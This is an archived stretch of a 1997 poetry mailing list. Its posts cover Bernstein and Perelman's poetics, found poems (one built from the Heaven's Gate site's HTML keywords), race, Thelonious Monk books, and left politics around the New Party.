Note that what I found weird was arguments about what a third party who is present meant, in the simplest sense, by his words. At a certain point it becomes silly not to ask. I did not mean to imply that the discussion of words or ideas was weird, and I certainly don't think that a query need be answered (although it could make for quite a discussion). Nor was I responding to just this post. I am mum on the subject hereafter and will not be provoked to speech (unless maybe I'm discussed in the third person).

At 10:19 AM 4/17/97 -0400, you wrote:
>Well actually Mark that gets at something which is a real live issue about
>this space, and other spaces like it...I don't think cybersocialspace
>functions in quite the way you think..I suspect that how it functions is
>more in flux and more contested than your post states. These two are also
>widely-known poet/theorists, and the discussion is not about them as
>people, but about their published books...I don't believe they should feel
>*compelled* to intervene in a discussion of their work, at least not right
>away..(they may wanna wait till something really pisses them off ;)...)
>
>There is a constant push and pull between two structures of feeling: that
>cybersocialspace is like being in a room in a fairly intimate
>conversation, involving maybe half a dozen people; and that on the

>contrary it is very public and very widely-scrutinized, and much like
>debates and exchanges published on paper on various subjects. Your post
>suggests the former; I personally think that if people reflect for a
>minute they'll realize that the truth is closer to the latter idea. I
>think it's great for us to be able to ask CB and BP to respond to what
>folks have posted...But frankly I don't think they're obligated to, any
>more than they are obligated to respond by letter to every discussion of
>their work in a little mag or an academic journal. Ask 'em, by all means.
>But my take on public electro-discussion is, that it is suggesting we
>can't discuss their work that is "very weird." Remember that this is a
>public not a highly personal space, no matter what it feels like at
>times.
>
>Mark P.
>
>On Wed, 16 Apr 1997, Mark Weiss wrote:
>
>> To an outsider this continues to be very weird. Two of the parties,
>> Bernstein and perelman, are on the list. Why do we theorize about what one
>> meant about the other and what the other may think of it? Isn't this like
>> talking about people in the room as if they weren't there? Why don't we just
>> query them for their own input?
>>
>> At 02:32 PM 4/16/97 EST, you wrote:
>> >I don't think Bob P privileges Brathwaite (that's without an "i" said the
>> >pedant) over Bernstein. That Bernstein "wants power" goes without
saying: who
>> >doesn't? As I read it, Bob P's point involves the mediations of the
"academy"
>> >to which both writers are more or less subject. The contrast worth
making is
>> >between the (mostly) dispersive energies of CB's practice and the gather-
ing
>> >energies of Brathwaite's. This contrast is itself made (not in exactly this
>> >way) by CB in his remarks on KB in "Poetics of the Americas." What
would be
>> >worth contesting in Bob P's reading of KB, and also in CB's reading of
KB, is
>> >their sense of KB's practice as singular (this is related to mark's
point but
>> >not the same point). I take it that much of X/Self has little to do with
>> >"nation-language" at least as KB has defined it, that there is indeed a

>> >"vernacular" present in the poem and that it is this vernacular that grounds
>> >"nation-language" and the utopian identity politics the poem is imagining. I
>> >take it too that--elsewhere--there is something else going on, more related to
>> >dispersing than gathering. Caliban as rebel, Caliban as hero: dispersing and
>> >gathering both. What Bob P acknowledges but does not to my thinking stress
>> >enough is the Caribbean location of KB's project. Different issues there than
>> >the ones CB must face. And when KB's text enters into USAmerican contexts it
>> >is something else. For a shameless plug I'll mention that I've discussed
>> >some of these issues in an essay in paul naylor's _River City_.
>> >
>> >This is too brief, perhaps cryptic, but i've a thousand things to do today. And
>> >anyway as i read Mark the real force of his question to Bob involves matters
>> >other than the remarks on KB and CB.
>> >
>> >keith tuma
>> >
>> >
>>
>
>

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532. **henry gould**
Re: Bromige-Safdie
Thu 17 Apr 1997

On Thu, 17 Apr 1997 08:02:01 -0500 Jeff Hansen said:
>
>My sense is that most poems come out of implicit, rather than explicit,
>compromise. The compromise happened long before the moment of writing,
>in the poet's absorbing, thinking about, and coming to terms with the
>myriad poetical, social, and institutional forces impinging on him or
>her.

>
>To be able to write means to have already compromised, and to have
>forgotten.
>
I like the non-heroic good sense of this, yet find myself disagreeing.
Maybe I don't quite get what you're saying. To write well - seems like
hard work, not compromise & forgetting. Or perhaps you mean the writer
compromises everything BUT writing? & the feeling of futility - is this
an effect of culture-glut? Or this compromise is wisdom, not betrayal.

"The artist must raise everything to a higher level: ...like a pump...has inside...a
great pipe that reaches down into the entrails of things, the deepest
layers. ...sucks up what was lying down there below, dim and unnoticed, and
brings it out in great jets to the sunlight." (Flaubert)

- Henry G.

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533. **David Israel**
Re: found poem
Thu 17 Apr 1997

---

or: a (perhaps) unconscious act of protest, so to say?

yes: why would one *wish* to be Yahoo!'d by a seeker of misinfo?

strange things, horatio, in yer html

d.i.

>>> Thomas Bell <[redacted]> 04/17/97 05:43pm >>>
Does this use of misinformation mean that they knowingly bought
their own. tom bell

At 01:47 PM 4/16/97 -0700, Christopher Reiner wrote:
What follows is a list of keywords from the Heaven's Gate
>site, which I have copied from its Home Page source code. I present
here
>it as a found poem, without any extra linebreaks or whatnot...
>--Chris R.)

> *misinformation, misinformation,*
>
> *misinformation, misinformation, misinformation, misinformation,*

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534. **David Israel**
Re: Begin migration of all users to new
Thu 17 Apr 1997

here fetching out a turn of phrase in Chris Alexander's
note-of-thanks re: Dodie's articulate ambiguity anent AG --

Christopher: << Dodie-- just wanted to offer a belated thanks for your post on Ginsberg . . . I didn't speak up more because I felt like maybe I was pissing on the parade, or the procession, as the case may be. . . . >>

this calls to mind words from Tom Mandel, worth citing in the instant instance. Thus:

| To the dead, beyond imitation of life,
| we must report something
| different from poets before us,
| raining tropes on their
| parade
| of idle words. *Tremors
| bring tears, longing ends in grief.*

Tom Mandel, "Communication Through Hints"

(asterisks denoting italics; -- btw I've been curious as to source of the "Tremors" line, as this seems poss. an actual quotation [whether from Chinese or Greek, god, Tom, or some erudite other might know], tho equally poss. faux; -- but I've not read the book entire as yet, wherein such deail cd. be disclosed)

incidental poetics note:

Theory seeming: poetry is to be understood as (especially) addressed to the dead -- for their enjoyment / amusement / & suchlike, eh? (Not, seems, a "morbid poetics" -- but arguably a "sorta elegiac"?)

{ anyhow: from a Sun & Moon vol. not here on hand [I've these few lines bec. I'd snatched ''em for epigraph to an elegy I wrote for Lynne Beyer, some couple years ago] . . . (Mandel vol.'s among more recent & includes word "Law" in title - bibliography through hints) } d.i.

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535. **Carl Lynden Peters**
Re: found poem
Fri 18 Apr 1997

here's a found poem. it was writ on the top margin of an exam on romantic poetry that i just read. students wrote their exams earlier this morning:

(it's 8:30 am. 8:30 am. 8:30 am. 8:30 am. 8:30 am)

that's a wonderful piece!

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536. Michael Boughn
Re: recommended scholarship
Fri 18 Apr 1997

The NEWS just in this A.M.--the Universe has an AXIS. The movement of LIGHT is not uniform. There is an UP and a DOWN, folks, all the way to Sirius and back, and we're IN IT.

I think this recent discovery may be irrefutable proof of the efficacy of Providence School Metapophysics. Yikes, Henry, how do you do it?

Mike
[redacted]

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537. henry gould
Re: recommended scholarship
Fri 18 Apr 1997

On Fri, 18 Apr 1997 06:31:44 -0400 Michael Boughn said:
>The NEWS just in this A.M.--the Universe has an AXIS. The movement of
>LIGHT is not uniform. There is an UP and a DOWN, folks, all the way to
>Sirius and back, and we're IN IT.
>
>I think this recent discovery may be irrefutable proof of the efficacy of
>Providence School Metapophysics. Yikes, Henry, how do you do it?

Well, to tell the truth, some of you may be old enough to remember the "We Were There" series of history books. "We were There at the Alamo" . "We were there at Valley Forge". etc. Back in 1962 or thereabouts I read one called "We Were There When They Invented the Frisbee". Everything else just seemed to click. And no, David Bromige, secuction is not one of the 4 Major Squeezes which set the cosmos in motion. This is my authoritative comment on that subject. (I'm sure Jack & Eric will want to get in on that one, though.) - Henry Hale Gould (the Hale stands for "comet") (not the bathroom cleanser, either. poetry is not plumbing. Flaubert can have his fruity yogurt.)

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538. Dale Smith
Re: What is white
Fri 18 Apr 1997

jeffrey timmons wrote:

> *ok heres my (tentative) conclusion: race is semantically and epistemologically more complicated than the linguistic and conceptual categories used to discuss it. itd be more useful i think to be aware of that. did i make any sense? did i stumble into a morass? do i need a rope--either to pull me out or string me up? have i gone on too long? yes.*

It seems like this kind of intellectualized and evasive answer neglects to address the positions of race as they actually function. In addition to the semantic, epistemological, linguistic, and conceptual categories mentioned, there happen to be physical, emotional, and social realities which are met through daily experiences rather than through cerebral--distant--contemplation. Whiteness is a construct, but it's also a reality I live with. Which ever way you think about it, skin says a lot. A body reveals certain traits--Asian, African, European--but it doesn't always give you details of national heritage or even ethnicity, as in a country like Burundi. A white person's categorical discussion of race pretty much reveals the problems Hoa pointed out in her post. Whites own the show, producing their whiteness through their own terms rather than listening and responding to whiteness as others experience it.

Finally, it is more than a bit ironic for a white person to determine a "useful" vocabulary for racial discussion. It seems like the appropriate response to questions of race would be not to retreat into vague conceptual terms, but to engage them in a more heart-felt way. As it is, the above seems dismissive and casual, and it removes personal experience from the complicated issues surrounding race.

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539. henry gould
Re: if this is still under discussion
Fri 18 Apr 1997

On Thu, 17 Apr 1997 00:47:30 -0500 David Bromige said:
>early. Something out of sight deep inside is going to come out any . . .
>time . . .NOW! It doesnt erupt from the author, does it? It appears to
>erupt from the sentence, to the erupting reader. It hadn't been part of our
>content, it had been dis-content, denied & hidden content or mine or yours,
>& now, it's all over the papers, all over the newssheets. Barely civilized,
>it was, until we saw how expected it had, all along, (honky commas) been.
>Honky commas sit on it so as it wont blow, blow away. Until we began to

>tame it, to domesticate it, find ways to compromise with it, married to it
>must live with it, must alter it misunderstand it deny it ignore it. Must

At the Russ-Amer Hoboken conference Elena Shvarts mentioned her interest in scandal as the force of change in society. Her example was not repressed/exposed desire but the virgin birth of Christ [whatever you make of that]. I point this out as an example of a different way of poetic thinking from that which reigns in the West [i.e. sexuality as the master-key to the Meaning of Life & the Blakean One-Eyed Vision of our discontented so-called artists]. - Henry Gould

"sex is for coyotes"
- Jack Spandrift

"sex? Isn't that something we read about in public school?" - Eric Blarnes

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540. **Pierre Joris**
Re: monk, t.
Fri 18 Apr 1997

Herb Levy wrote:
>
> >Can someone(s) on the List recommend to me a good biography of
> >Thelonious Monk? Preferably one that's in print... Thanks.
> >
> >Hank Lazer
>
> Hank,
>
> I'm pretty sure there isn't a book-length bio published yet. There are
> some useful (though, depending on how detailed you need this, probably very
> spotty) articles/interviews in various magazines like downbeat, and check
> collections of occasional pieces by Whitney Bailliet, Martin Williams, etc.
>
> Herb Levy
> [redacted]

Yeap, I believe Herb is right. There is however one full-length book (in French) on Monk I know of: _Thelonious Monk_ by the French poet Yves Buin (P.O.L., Paris 1988 -- probably out of print by now, though i can't be sure, got my copy when it came out). It isn't a biography nor a musicologic treaty, rather it tries to for a poetics of Monk [illegible] & succeeds brilliantly. Somebody should translate it & publish it here! -- Pierre

oops -- just did a quick search on ocl worldwide catalogue & these items came up, the first one a bio in English I haven't seen yet:

AUTHOR: Gourse, Leslie.
| TITLE: Straight, no chaser :
| the life and genius of Thelonious Monk /
| PLACE: New York :
|PUBLISHER: Schirmer Books,
| YEAR: 1997

& given as a biography

& this:

AUTHOR: Kteily-O'Sullivan, Laila Rose.
| TITLE: Klangfarben, rhythmic displacement, and economy of means
| a theoretical study of the works of Thelonious Monk /
| YEAR: 1990
| PUB TYPE: Book
| FORMAT: iv, 73 leaves : ill.
| NOTES: "13-42773."
| Thesis (Mus. M.)--University of North Texas, 1990.
| Includes bibliographical references (leaves 70-73).

&
AUTHOR: Raschka, Christopher.
| TITLE: Mysterious Thelonious /
| PLACE: New York :
|PUBLISHER: Orchard Books,
| YEAR: 1997
| PUB TYPE: Book

Matches the tones of the diatonic scale to the values of the
| color wheel in presenting a portrait of the work of the
Afro-
| American jazz musician and composer of "Mysterioso."
| ISBN: 0531300579 0531330575 (lib. bdg.)
| SUBJECT: Monk, Thelonious -- Pictorial works -- Juvenile literature.
| Monk, Thelonious.
| Musicians.
| Jazz.
| Afro-Americans -- Biography.

AUTHOR: Wilde, Laurent de
| TITLE: Monk /
| PLACE: Paris :

|PUBLISHER: Gallimard,
| YEAR: 1996
| PUB TYPE: Book

AUTHOR: Ponzio, Jacques.
| TITLE: Blue Monk :
| un portrait de Thelonious : essai /
| PLACE: Arles :
|PUBLISHER: Actes sud,
| YEAR: 1995
| PUB TYPE: Book

ACCESSION: 32711912
| TITLE: Contemporary musicians :
| profiles of the people in music. Volume 6 /
| PLACE: Detroit, Mich. :
|PUBLISHER: Gale Research, Inc.,
| YEAR: 1992
| PUB TYPE: Book
| NOTES: Includes bibliographical references and indexes

ACCESSION: 17952626
| AUTHOR: Fitterling, Thomas.
| TITLE: Thelonious Monk :
| sein Leben, seine Musik, seine Schallplatten /
| PLACE: Waakirchen :
|PUBLISHER: Oreos,
| YEAR: 1987
| PUB TYPE: Book
| FORMAT: 175 p. : ill., music ; 24 cm.

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose

it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

541. **Keith Norris**
Re: The New Party
Fri 18 Apr 1997

Check out www.newparty.org

I'm a member--feel free to backpost me for info...

-=-=-=-=-=

Keith Norris | [redacted]
English Department PSTCC
Knoxville, TN 37933
[redacted]

↑ Index

542. **Jeff Hansen**
safdie-bromige
Fri 18 Apr 1997

Henry Gould asked me how a writer is involved in compromise and forgetting.

To write a poem is dependent on a whole series of experiences prior to the writing. Most of the ones relevant to writing focus on poetry, poetry traditions, and the interface between poetry and other aspects of life -- politics, living situation, nature, weather, advertising, etc, the list varies depending ont the individual.

Before writing, the poet has already committed to certain positions within all these forces, a position necessarily wrought with compromise since the forces impinging are myriad.

But to write, the poet cannot focus on these forces and the necessary compromise. The poet must put one word after another. While sometimes hard work (though I think of writing as more often joyful) this is the forgetting: Not focusing on the foundation, the foundation necessarily composed of compromise, that makes writing possible.

This is all to say that I don't believe in individual vision, and that writing is irreducibly social.

Best to all,

jeff

↑ Index

543. **Charles Alexander**
Re: Begin migration of all users to new
Fri 18 Apr 1997

> | *To the dead, beyond imitation of life,*
> | *we must report something*
> | *different from poets before us,*
> | *raining tropes on their*
> | *parade*
> | *of idle words. *Tremors*
> | *bring tears, longing ends in grief.**
>
> *Tom Mandel, "Communication Through Hints"*

I'd snatched ''em for epigraph to an elegy I wrote for Lynne Beyer,
>some couple years ago] . . . (Mandel vol.'s among more recent & includes
>word "Law" in title
> - bibliography through hints) }
>d.i.
>
>

Letters of the Law, from Sun & Moon Press

charles alexander / chax press / [redacted]

↑ Index

544. **Hank Lazer**
Re: monk, t.
Fri 18 Apr 1997

Can someone(s) on the List recommend to me a good biography of Thelonious Monk? Preferably one that's in print... Thanks.

Hank Lazer

↑ Index

545. **Don Cheney**
Re: found poem
Fri 18 Apr 1997

---

i have a collection of found poems (found at work also), NOTES TO MY SELF, on the net at:

http://www.geocities.com/Paris/5791/notes.html

don

(Intro: It's not unusual for web site designers to place "keywords" into a page's actual html code so that search engines like Alta Vista or Infoseek will index the page in response to a word or phrase typed in as a query by you or me. These keywords are not visible, but the search engines will still register their presence. In fact, the more times the word is used, the higher the ranking of the page in the index of "hits.". What follows is a list of keywords from the Heaven's Gate site, which I have copied from its Home Page source code. I present here it as a found poem, without any extra linebreaks or whatnot...
--Chris R.)

<meta name="keywords" content="Heaven's Gate,

Heaven's Gate, Heaven's Gate, Heaven's Gate, Heaven's Gate, Heaven's Gate,

ufo, ufo, ufo, ufo, ufo, ufo, space alien, space alien, space alien, space alien, space alien, space alien, extraterrestrial, extraterrestrial, extraterrestrial, extraterrestrial,

extraterrestrial, extraterrestrial, millennium, millennium, millennium,

millennium, millennium, millennium, millennium,

misinformation, misinformation,

misinformation, misinformation, misinformation, misinformation,

freedom, freedom, freedom, freedom, freedom, freedom, second coming, second coming, second coming, second coming, second coming, second coming, angels, angels, angels,

angels, angels, angels, end times, end times, end times, end times, end times, end

times, Jesus, Jesus, Jesus, Jesus, Jesus, Jesus, God, God, God, God, God, God">

</head>

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546. **Sylvester Pollet**
Re: if this is still under discussion
Fri 18 Apr 1997

> *Robin Blaser : "poets are the deodorant pucks in the urinal of life."*

I love that quote, David, but borrowing the feminist perspective, maybe that's what certain of our listers mean when they say they're tired of being pissed on by male poets!

p.s. could you under-the-table me your snail-mail address? thanks, sp

↑ Index

547. **henry gould**
Re: safdie-bromige
Fri 18 Apr 1997

On Fri, 18 Apr 1997 08:14:38 -0500 Jeff Hansen said:
>
>This is all to say that I don't believe in individual vision, and that
>writing is irreducibly social.

If there's no individual vision, then the social is a one-eyed beast. I too subscribe to the belief that humanity is one Being, that you are me and I am you and we are all Jack Spandrift, as Eric Blarnes once put it (in his personal memoir, _Living? Isn't that Something...?_ Univ. of Left Overbie Press, 1994), and that this one reality is the key to social justice as well as joy. NEVERTHELESS there's a big difference between the stoplight at 1st and Hennepin and the stoplight that used to be at Cedar & Riverside, and it's that DIFFUDIFFURANCE that the artist as INDUVINDUHYOU-ALL is trying SO HARD to get at in her depiction of STERN & DAFT REALITY. - Henry Gould

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548. **Sylvester Pollet**
Re: if not to lurk
Fri 18 Apr 1997

Hoverer is too hard to say, too many syllables. I agree, lurk has sinister connotations, unwarranted here. Look/looker would seem to have fewer, though maybe some old-timey slang ones:"She's a real looker!" I'll keep thinking. It's a good quest. sp

> *addendum to previous post about lurking....*
>
> *how about hoverer? hovering? " to hang fluttering in the air, to remain*

> *suspended over a place or object, to move to and fro near a place, to be in a state of uncertainty, irresolution, or suspense" and i would add, to be in a state of too much to do-ness, not not caring...*
>
> *kl*
>
> *in response to david israel:*
>
> *so, how about neologize a newer, more congenial self-descriptive?*
>
> *if not to lurk, then what?*

↑ Index

549. **dbkk**

Re: Joe Dunn

Fri 18 Apr 1997

At 11:46 AM -0400 4/17/97, Michael Franco wrote:
>Sad news in this morning that Joe Dunn passed away this week-

Dear Michael, it's Kevin Killian, thanks for letting us know about Joe Dunn's death. He was, I think, a wonderful writer, and one of the nicest people I've ever met. His friends and admirers were all, I suppose, waiting for the other shoe to fall, but this is still awfully sad. I hope more of his work sees its way into print.

"The third word is 'eros'
Who will cling to you every birthright
Bringing your heart substance.
Whomever you touch will love you,
Will feel the cling of His touch upon you
Like sunlight scattered over an ancient mirror."
--Jack Spicer, "Five Words for Joe Dunn on his Twenty-Second Birthday"

↑ Index

550. **Sylvester Pollet**

Re: safdie-bromige

Fri 18 Apr 1997

For once, I'm with you, Henry! And besides, I don't believe anything is irreducibly anything. sp

> *On Fri, 18 Apr 1997 08:14:38 -0500 Jeff Hansen said:*
>
> *This is all to say that I don't believe in individual vision, and that writing is irreducibly social.*

> *If there's no individual vision, then the social is a one-eyed beast.*
> *I too subscribe to the belief that humanity is one Being, that you are*
> *me and I am you and we are all Jack Spandrift, as Eric Blarnes once put*
> *it (in his personal memoir, _Living? Isn't that Something...?_*
> *Univ. of Left Overbie Press, 1994), and that this one reality is the*
> *key to social justice as well as joy. NEVERTHELESS there's a big*
> *difference between the stoplight at 1st and Hennepin and the stoplight*
> *that used to be at Cedar & Riverside, and it's that DIFFUDIFFURANCE*
> *that the artist as INDUVINDUHYOU-ALL is trying SO HARD to get at*
> *in her depiction of STERN & DAFT REALITY. - Henry Gould*

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551. **Keith Tuma**

Re: Is anybody still discussing Bob Perelman

Fri 18 Apr 1997

On Wed, 16 Apr 1997 22:30:08 -0700 George Bowering said:
>>With apologies i ask this prurient question.
>>
>>If you had to stand in one state & piss into the other - which would be the
>>more likely recipient.
>>
>>Dan
>>
>>>keith tuma
>>>who lives eight miles from a town (college corner, indiana/ohio) where it's
>>>possible to piss in two states at once though he's never never tried to
>>>do so,
>>>being content to piss in two states of mind
>
>
>Here's what I want to know: is that claim a manifestation of patriarchal
>hegemony?
>
>
>
I remember a Barthelme novel, _The Dead Father_, asking this same question. As
I recall the DF can manifest patriarchal hegemony only by standing in Ohio and pissing into Nebraska.

As for Dan's question, I'm afraid I have too little philosophy to answer it. My friend the pataphysician, though, tells me the answer is: Pat Riley.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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552. **Herb Levy**
Re: What is white
Fri 18 Apr 1997

Hoa Nguyen asks:

> *Also, I have been very curious about the magazine "Race Traitor" -- plan to buy it when I have more money-- and was wondering if anyone on this list could please fill me in-- tell me more about their philosophy behind their "rejection of whiteness" (or correct me if I have that wrong). Is anyone here involved with that journal?*

I'm not involved with the mag, but you should be able to get it, or at least the collection of writings drawn from it published under the same name, at a library.

The main thrust of their philosophy is that race is not a biological fact, but a social construct, largely developed in the US in place of the (more common in Europe at least) nationalistic views used to exclude folks from social & political communities.

"White", "Black", and "Asian" are vague terms that deny the complex dynamics of ethnic, national, personal, cultural, etc. influences that come into play in an individual's life. There aren't monolithic cultures that are White, Black, or Asian, but many cultural affects that get lost when these more generic terms become the center of discussion.

Herb Levy
[redacted]

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553. **Herb Levy**
Re: monk, t.
Fri 18 Apr 1997

> *Can someone(s) on the List recommend to me a good biography of Thelonious Monk? Preferably one that's in print... Thanks.*
>
> *Hank Lazer*

Hank,

I'm pretty sure there isn't a book-length bio published yet. There are some useful (though, depending on how detailed you need this, probably very spotty) articles/interviews in various magazines like downbeat, and check collections of occasional pieces by Whitney Bailliet, Martin Williams, etc.

Herb Levy
[redacted]

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554. **Christopher Alexander**
Re: Bromige-Safdie
Fri 18 Apr 1997

Jeff wrrrrrrrrrrrrrrrrrttttt:
> It seems to me that expecting our
> poetry to transcend the ideological, material, and social spheres of
> institutions and everyday interactions is what is futile. Placing too
> high a demand on poetry, asking too much of it -- the descendants of
> Shelley's "poets are the unaknowledged legislators ..." -- makes poetry
> futile. By insisting that it is embedded in the same network/nest of
> forces as other activities is to see it more accurately, to recognize
> its strengths and weaknesses rather than hoping for what is not there
> and ending with futility.

Writing situated as critique (SOMETIMES) versus writing writing which refuses/represses its site (site as in scope-barrel-trigger) or claims 'outsider' status--noncomplicity ["this is Art" or "it's just art, man"] or ["I wasn't doing anything, honest"], i.e., nothing to be complicit with.

Q: Situation as--what? Production or reception? "I mean to say this" or "this means this". Or both & how do they differ, exactly?

Or, possibly, to fetch together two current threads (so alter both):

| To the dead, beyond imitation of life,
| we must report something

| different from poets before us,
| raining tropes on their
| parade
| of idle words. *Tremors
| bring tears, longing ends in grief.*

Unless that's just an excuse to repeat these lines--which repetition needs no excuse. Thanks to David Israel for posting this piece of Tom's work--& thanks to Tom for obvious reasons.

Chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

↑ Index

555. **Michael Boughn**
Re: if this is still under discussion
Fri 18 Apr 1997

> *At the Russ-Amer Hoboken conference Elena Shvarts mentioned her interest in scandal as the force of change in society. Her example was not repressed/exposed desire but the virgin birth of Christ [whatever you make of that]. I point this out as an example of a different way of poetic thinking from that which reigns in the West [i.e. sexuality as the master-key to the Meaning of Life & the Blakean One-Eyed Vision of our discontented so-called artists].*
> *- Henry Gould*
>
> *"sex is for coyotes"*
> *- Jack Spandrift*
>
> *"sex? Isn't that something we read about in public school?"*
> *- Eric Blarnes*

"You leave out the true animal bearing of the species and in the end . . . you pay for it by sex."

--Charles Olson

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556. **KENT JOHNSON**
L+A+N+G+P+O and New Party
Fri 18 Apr 1997

Mark and Kristin:

Thanks for the replies on the New Party. For what it's worth Kristin, I was being facetious about the revolution starting without me. I do think that's going to be a while, and I'm sure that the New Party (if global capitalism is brought to an end by something other than a giant asteroid) won't be its red wedge. Why do you see the new Labor Party as "more promising" of overthrowing "global capitalism"? Do you mean its present leadership and current program offer this hope, or do you mean that a political party in this country firmly grounded in working class organizations is an absolute prerequisite for smashing the rule of capital? (geez, now do you all see what I mean about the asteroid? What's coming first?)

But Mark: one of the things I find interesting about the NP is that it has apparently gathered old CPers like Zinn, DSA types like Hightower, radical Christians like West, and real independents like Chomsky together under a common banner. Of course, these are just big names, but in the protracted context of the U.S. left's sectarian provincialism, the symbolism of such a gathering doesn't seem insignificant? Is Zinn's presence indicative of a broader CP presence in the NP? Have they all "fused" into it? (Why wouldn't they? The CPUSA's been a loyal social-democratic party ever since Hitler stabbeb Stalin in the back.)

And glad to hear from someone who has hung in there through these very "unsocialist" times (and it *will* eventually surely be au courant again to be anti-capitalist!) that the question of unity amongst new and viable left organizations seems to be in the discussion. But don't you think that if such unity comes to be, Mark, that this conspiratorial "fusion" crap should go out the window? Easy for me to say after ten or so years of drawing a Trotskyist pension I guess, (though I can at least say I was an active member in '85 of the San Jose state farm militia in northern Managua, Nicaragua, even if I did wet my pants the one time we came under [heavy] fire).

But if there is a "Republicrat" political structure, and if the two parties are primarily there to give vent to the incestual squabbles of this country's ruling class, why participate in the "obscenity", as you put it, of what's going on? Why try to "pull" local Democrats to the "left" via some kind of elaborate electoral blackmail when one can present an honest and unwatered program to the public, stating clearly that there is no hope ever of any kind of true change as long as we keep voting for the parties of imperialism? (is that term still in use?) Why not say clearly that those who are the most reprehensible of all are those "progressive" sophisticates who know the score, but still are seduced to vote for

Carter, Mondale, Dukakis, Clinton, and seduce otheres to do so, just so we can have a little lesser evil? (ok, so we got the lesser evil with Clinton--how's it such a breakthrough over Bush? Explain to me what is so different.)

I underestimated my numbers in my last post when I said that Nader got half a million votes--he got about 700,000 in 26 states and he barely campaigned. The point would be that this intimates the potential of principled, radical gestures on the local and national arenas, if only intelligent progressives woudl stop doing 69 with the Democrats. If there's going to be a Deb's-like resurgence of independent, radical politics in this country it's going to require a simple but firm step outside the hall of mirrors we're given, don't you think?

But what does this have to do with poetry, especially since I titled this post as I did? (I can picture Maria Damon with one of her inevitable two-liners, asking). well, simply this: I've been on this list for about five months now, and I have been startled that there is apparently such little interest in discussing issues related to how poets might integrate themselves into issues of broader political commitment. This seems strange to me since the background to the very existence of this list is a community of poets in 70's and 80's trying to figure out how the act of writing might lead and be led into a broader understanding of political engagement. If the Language movement is evolving into other things, it seems to me (and please correct me if I'm off) to be evolving into a diffuse kind of aestheticism that can go on for weeks slamming Ed Dorn as a fascist, talk intricately about the institutional implications of Bernstein's and Perelman's poetics, but say virtually nothing at all when an honorable publisher of avant-garde writing (the FC2 affair, which happens, luckily, to have come to temporary close) is under government attack and makes an appeal for solidarity.

What am I saying Mark Presjnar? I'm rambling, but I think I'm onto something, even if few will respond, because, after all, it's just me.

Kent

> *X-PMFLAGS: 34078848 0*
>
> *WARNING: LONG POST ON POLITIX,*
> *IN RESPONSE TO KENT'S QUERY*
>
> *Kent--*
>
> *I've been active off and on with the New Party. I might be more active if they were a presence in Georgia, as they are *extremely* oriented toward building right now at the local level. A few people (in Wisconsin?? in the midwest) founded it about 7 (?) years ago; the guiding light is generally considered to be Joel Rodgers, a poli sci academic by trade, who*

has authored or co-authored many of their public statements. There was a quite impressive essay in the Nation, which to some extent constituted a founding gesture as far as much of the country was concerned, and got hundreds of people (including myself) hooked up with the party.

Their platform is in flux and very vague, which has pissed off lots of people on the left, and led to many attacks. The NP says that this is because ultimately they want the folks who are building the party to draw up its detailed credo, and it is still in very formative stages. They claim I think a couple of thousand members, some of whom are of course paper. They have very active chapters in some major cities like Chicago. Their early, tentative outlines of belief/strategy emphasize elections and include what I would call a classic social-democratic set of details. One of their defining features is belief in a tactic called fusion..This would involve placing a candidate (usually a Democrat) on the ballot (for anything from school board to President) under the New Party as well as her own party...The theory is that as the NP swings people to the left, it could demonstarate that it had been indispensible to gettng and keeping that cadidate in office...Said cadidate would then (tho' a Demo and usually quite unwilling) be forced to move invreasingly to the left, to retain NP support and not lose the next election. Fusion was outlawed in most states to help crush the Socialists, Populists and other left electoralist force early in this century. They are hoping to overturn those laws.

*My modified admiration for them is based on the fact that (at least at first) they were articulating a pretty forthright left/social-democrat attack on the Republicrat structure, which I hoped would pry activists and working class people away from the Democratic obscenity. It remains to be seen, in my estimation, whether they can deliver on that promise. Where they are active with ten or more members they have won city council and similar type elections (sometimes in loose coalition with left-leaning local Demo's) with impressive results. They seem in my experience to be doing better than most leftists of the past two decades at drawing in **real** working class people of all races. (The main argument in favor of fusion, in my opionion, and maybe in favor of the NP, is that most workers who haven't sunk deep into despair, who are somewhat harder to mobilize, still believe the media that the Republicrats are and **can only be** the one and only game in town..Fusion offers a way to draw in folks like that, while they still half-believe that only a vote for a Demo. is not "thrown away." Many friends of mine, including those who think the immediate way forward is mainly electoral (a debateable point certainly), now suspect that the NP is going to repeat the trajectory of Democratic Socialists of America, and become a sunday tea-club entirely subservient for all practical purposes to the Democratic wing of the Republicrats, and thus dead as a political force. I'm not convinced of that, yet. I totally agree with you that there should be an IMMEDIATE merger of all reasonably left parties that think the way forward is (partly) electoral:*

most green formations, the New Party, the Labor Party, Campaign for a New Tomorrow, and others...(A considerable number are involved with the Independent Progressive Political Action Network, a half-step toward unity, which I've been involved with recently; but many are only half-committed..)

Much more could be said, but that's the general outlines of one (highly personal) response to them...They have a good website. As for the Labor Party, which you mention, until their naitonal leadership wholly endorses activism/membership by folks outside certified union locals, and commits to running its own cadidates, it remains a pretty limited option for most of us...And again, many (including some of its own members) believe with considerable reason that as long as it says it is a "party" but won't field its own cadidates, it is going to be simply a wing of the Clintonian ultra-right Demos, as is so much of the labor movement which is responsible for founding it. At the moment, from what I can see, that's a more compelling accusation than the similar one against the NP..

Mark P.
Atlanta

On Wed, 16 Apr 1997, KENT JOHNSON wrote:

Speaking of Howard Zinn, does anyone know anything about the New Party? I saw an ad a couple weeks back where Zinn is listed as a "member" along with Noam Chomsky, Cornel West, Barbara Ehrenreich, Jim Hightower, and other prominent others. I've also seen the NP championed by Alexander Cockburn in the Nation, talking about them winning a few dozen local elections around thecountry in the past couple years or so.

What's the history? How does this group differ, say, from the new Labor Party founded in Philly, or "Nader's" Green party? What would be the sticking points to overcome before a possible electoral alliance, for example? (Nader got half a million in only 26 states, so such unity might have eventual ground-breaking results?) Ten years ago I could draw a fractal family tree of every little left splinter group in the country since James Cannon marched out of the CPUSA politburo singing the Internationale. Now I don't even know where this glitzy and well-appointed New Party came from. A DSA leap into third party politics?

I feel left out and don't want the revolution to start without me.

